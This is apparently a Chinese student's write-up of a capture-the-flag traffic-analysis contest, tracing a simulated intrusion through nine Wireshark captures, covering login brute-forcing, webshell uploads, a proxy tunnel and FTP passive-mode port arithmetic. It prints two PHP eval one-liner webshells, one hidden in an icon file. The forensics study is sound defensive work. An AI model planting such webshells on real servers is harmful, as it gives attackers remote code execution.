数据分析赛:
这次铁三分区赛,拿了一等奖(季军),哎,有付出总有收获,玩了两个月的协议,还行。
相对上个星期05.05
的数据分析赛,觉得简单了很多,但其中值得学习的知识点也不少呀。
题目简述
比赛数据包给了9
个,不多不少。
看到题目,头脑先要有个大概的黑客入侵公司的思维导图,总体脉络清晰后,我们再接着做题。
黑客攻击公司走的是以tcp
为载体的http
请求,所以过滤http
成为解题的最基本的方法。发现漏洞,并利用了漏洞获取服务器的权限,则可以推测黑客上传了webshell
,提权成功;可以对内网进行扫描和攻击,推出黑客提权后挂了代理,对内网及其主机进行扫描。
解题过程
关卡01~03
打开第一个数据包,可以发现有大量的404 response code
,可知黑客进行了目录扫描,结合题目和数据包,黑客在扫后台登陆的网站地址。
数据包下滑发现,404
消失,其次是大量的post
请求。再结合数据包分析,过滤POST
请求,可知黑客发现登陆后台网址ad_admin.php
,接着对用户名和密码进行了爆破。
第一个数据包翻完,还是没看到爆破终止的痕迹。
通过分析,我们知道了在第一个数据包中,黑客的攻击ip:202.1.1.2
,服务器ip:192.168.1.203
,并且黑客虽然找到了后台登陆的网址(http://192.168.1.203/ad_admin.php
),但并未成功爆破用户名和密码。关卡02
和关卡03
答案呼之欲出,关卡01
答案需要剩余的流量包查找。
打开第二个数据包,接着过滤POST
请求,观察下,发现末尾第1042820
的分组后,黑客没有再继续爆破,但这里还不能确定是否爆破成功。
我们怎么验证呢?我们标记下这个包,过滤http流,而又因为我们知道了黑客的IP
,我们可以过滤此IP
方便我们分析,并排除其他干扰数据。.
过滤语句:http && ip.addr==202.1.1.2
跳转到我们刚刚标记的包,可以发现,这个服务器对这个POST
请求的302
响应包的Length
是442
,与之前的所有POST
请求的302
响应包的Length
是316
不同。再结合标记包的下个GET
包,根据网址的目录名中homgpage
,我们可以大胆推测黑客爆破成功了,用户名:admin
,密码:aabbcc
。关卡01
的答案即可得到。
当然本着学习的角度,我们还是好好分析下这个问题:
我们查看标记包的302
响应包内容和之前请求的302
响应包有啥不同:
一个是302
重定向的Location
不同,还有一个就是标记包得到的响应包里apadmin_password
是以hash
值形式(为啥是hash
的形式表示,见我的另一片文章一道赛题引起的思考——QUIC全解析)
根据上述,我们就可确定用户名和账号被黑客成功获得。
黑客获得账号和密码后,查看了后台管理的选项,进行了一些页面浏览。
到此,第二个数据包分析完毕。
关卡04~07
第三个数据包,打开,依照题目,写入的webshell
需要通过POST
提交,过滤下。
过滤语句:http.request.method==POST && ip.addr==202.1.1.2
过滤后的第一个数据包就有彩蛋
解码下:
可知黑客把"<?php eval($_POST['cmd']);?>"
写入了shell2.php
里,即webshell
的内容,关卡04
搞定(这里正确的答案需要把\
去掉,还好我问了小丢姐姐是不是答案有误)。
而做题时,关卡05
的问题让我的思路卡顿下,因为这个问题跳跃度有点大。
为啥能直接扯到MYSQL
?没思路。咋办咯。只能看剩下来的POST
请求中shell2.php
中的黑客的操作。
果然。。发现了秘密。
追踪下流,答案揭晓
接着把上面的一句话木马的指令解码下
原来是查看了配置的config.php
的文件,里面有数据库的配置,这才恍然大悟,原来关卡05的考点在这。
做到关卡06
的时候,纳闷了下,第一个上传的木马文件不就是shell2.php
嘛。后面小丢姐姐说了才知道是除了shell2.php
的第一个木马文件。
继续查看第三个数据包的内容,发现都是黑客查看数据库的内容的一些操作,只能继续下一个包了
打开第四个包,按之前的方式过滤,没有符合要求的包。。。。额。。。又晕了。别吓我,第四个没内容。
东看西看,还真没内容。(做完发现第四个包是个水包)
只能继续下一个包查看。
打开第五个包,过滤一通。
发现shell2.php
后面的包出现了个scan.php
,猜测scan.php
就是继shell2.php
后黑客上传的第一个木马文件。
仔细查看响应的包,嗯,果然可以证明这个推测。cmd
内容解码下就知道,黑客上传了个新的木马文件scan.php
,且对z1进行16进制解码即为scan.php
的内容。
至此,关卡06搞定。
在看看下面的包,又发现了关卡07
的答案,即黑客进行内网扫描的端口范围。
而在做题时,我看错了,以为下面这个包是端口的范围。
至此,第五个数据包分析完毕
关卡09~10
打开第六个数据包,过滤下,包不多,分析一波。黑客又登陆了后台管理,进入了备份系统,对其中的bak_2018-01-29-17-47-52.zip
文件,进行下载。
关卡08
搞定。
接着打开第七个数据包,过滤下,查看第一个包
解码下,看到favicon.ico
(ico
是图标文件的后缀名)
在把对应的z1
的值拖到winhex
里,在结尾部分可以发现一句话木马"<?php @eval($_POST['picto']);?>"
picto即为隐藏在favicon.ico
图片中的一句话木马。关卡09
搞定。
继续分析流量包,发现95286
分组的数据表示黑客查看了文件目录下的文件,而106442
分组中的数据修改了obj_edit.php
的内容。
而在整个过滤后的数据包末端,出现了一个新的tunnel.php
经过分析,是新建的一个木马文件tunnel.php
,作用是设置代理,监听端口。
所以,黑客是通过修改obj_edit.php
文件,配合tunnel.php
进行下一步行动。关卡10
搞定。
第七个数据包分析完毕。
关卡11~04
打个岔,这次比赛我觉得从关卡11
到关卡14
都不好做,对于我个人而言,我是在13
点之前做完全部的数据分析题的,九点开始的比赛,前十个问题我花了两个多小时完成,剩下的全部花在后四题。。。
打开第八个数据包,结合关卡11
的问题,一脸懵逼。。后面发现端口1433
即是ftp
开放的端口(别问为什么,这题我真是懵的,我刚开始蒙22
,错了,后面看到这个1433
,试一下,竟然对了)
关卡11
搞定(懵的,请老哥们指教)。
剩下的第八个数据包的分组,可以分析得知,黑客在爆破ftp
的账号和密码,但是没成功。
接着打开第九个数据包,过滤分析
这个ftp
登录密码我是怎么找到并最终确认的呢?因为观察了下,下面那个标记的数据包是第一个ftp
的命令操作,而离这个ftp
命令最近的密码是62236
显示的内容 ,我才提交并确认这个密码的。关卡12
搞定。
剩下的关卡11
和关卡14
我是怎么做出来的呢?我下面写的,你可能觉得这是运气,但,不得不承认,这是wireshark
的一个功能,而我恰好知道。
当我做完关卡11
后,剩下http
数据包特别多,长时间分析无果,我换了个思路,把数据包的分组按Length
排序,而不是按分组号排序。
查看第一个包,就会发现有个readmd.rtf
(比赛的时候提交错误,后面问了小丢姐姐,姐姐说把第二个d改成e)
为啥我最后可以确定答案是readmd.rtf
去向小丢姐姐问是不是原本的答案有错呢?
因为,在接下来的分析中,我找到了另外一个显示目录的分组,下面是它们的对比。
可以发现,时间的误差和新文件的写入正好符合时间差。所以,关卡12搞定。
最后就剩下了个关卡14了。。。这个。真的。。。。又是懵的。
最后一题在剩余最后四题又是做的最久的。
这里考察了一个知识点:227 Entering Passive Mode (127,0,0,1,26,80).
代表客户机使用PASV模式连接服务器的26x256+108=6764
端口。
然后过滤IP
,找到端口。(等会讲讲)
但是那时候我不会啊。。不知道啊。。。咋办,继续找呗。。。后面发现了这个
这个CVE-2017-8570
即是最后的答案。。。
在分析过程中,我也看到了这个,还郁闷怎么会有这玩意来着。。后面,卡最后一题实在太久了,小丢姐姐也问我们还有没有没吃饭的,我就乖乖地去吃饭饭了。吃饭过程,想了想,不对啊,那个CVE
是干啥的,会不会就是最后一题答案,越想越觉得有这可能,扒了几口饭就回去提交,提交前口里喊了一声“圣光请赐予我力量”。弹出提示,“恭喜你,完成本比赛所有关卡,并给予30%的总分额外奖励”,队友这个时候疯狂摸我大腿,口里念叨着“大佬大佬大佬啊”。
真变态,人家可是腼腆羞涩的纯情单身大男孩呢。
迷之坑点
虽然,数据赛拿了满分,但是,其中还是有些问题和坑点,下面介绍
坑点一
关卡14
的正确方法解题模式
这里介绍两种方法,一种是按tcp端口过滤,另一种是在wireshark
中改变ftp端口号。
第一种方法:
先介绍下FTP
的连接模式:其有两种方式,PORT
(主动模式)和PASV
(被动模式),均是相对于服务器而言的。
一、以PORT
模式连接服务器的情况。其中在LOG
里有这样的记录:PORT 127,0,0,1,28,37
告诉服务器当收到这个PORT
指令后,连接FTP
客户的28x256+37=7205
这个端口Accepting connection: 127.0.0.1:20
表示服务器接到指令后用20
端口连接7205
端口,而且被FTP
客户接受。
二、以PASV模式连接服务器,连接LOG里有这样几句话:227 Entering Passive Mode (127,0,0,1,26,80)
.代表客户机使用PASV
模式连接服务器的26x256+80=6736
端口。(当然服务器要支持这种模式)125 Data connection already open; Transfer starting.
说明服务器的这个端口可用,返回ACK信息。
两者的计算方式其实是一样的。(之前以为是两种不同的计算方式,经大佬们的提醒后修正)
而在最后一个流量包中,又仔细分析了下,发现有两种:
第一种是227 Entering Passive Mode (192,168,2,108,39,78).
如图:
第二种是227 Entering Passive Mode (192,168,2,108,39,79).
如图
按照上面的说法,两者都是ftp
以PASV
模式连接服务器,按照计算公式依次计算为:39*256+78=10062
39*256+79=10063
发现tcp
存在这两个端口,并在10062
端口中找到了正确的关卡14
的答案。
相关链接:
https://blog.csdn.net/chary8088/article/details/1538573(这个链接里面讲到的内容可能有误,建议看下面的链接)
https://blog.csdn.net/bestone0213/article/details/41892921
第二种方法:
在做题过程中,我们知道了ftp
服务器放到了1433
端口,wireshark
中设置一波就行:编辑->首选项->Protocols->ftp
,修正下端口号即可,然后再过滤语句ftp-data
一番,查看其中的分组即可(这次栽在这个点了,说来说去经验不足,这个思路没想过,说明这个知识点应用的不够多)
额。。。。。这个点算是搞定了,要去看看ftp
咯。
坑点二
比赛的时候,在第七个数据包中发现存在一个ELF
文件,不知道这干嘛的?(那时候还以为是要我搞pwn
)请大佬们指教?
这干啥的呢?
数据赛到此为止。先去找找相应的知识点补补。企业赛和个人赛得缓缓。写下这篇文章,废话较多,主要是留给学弟学妹和初学者们,还望大佬们多多指教。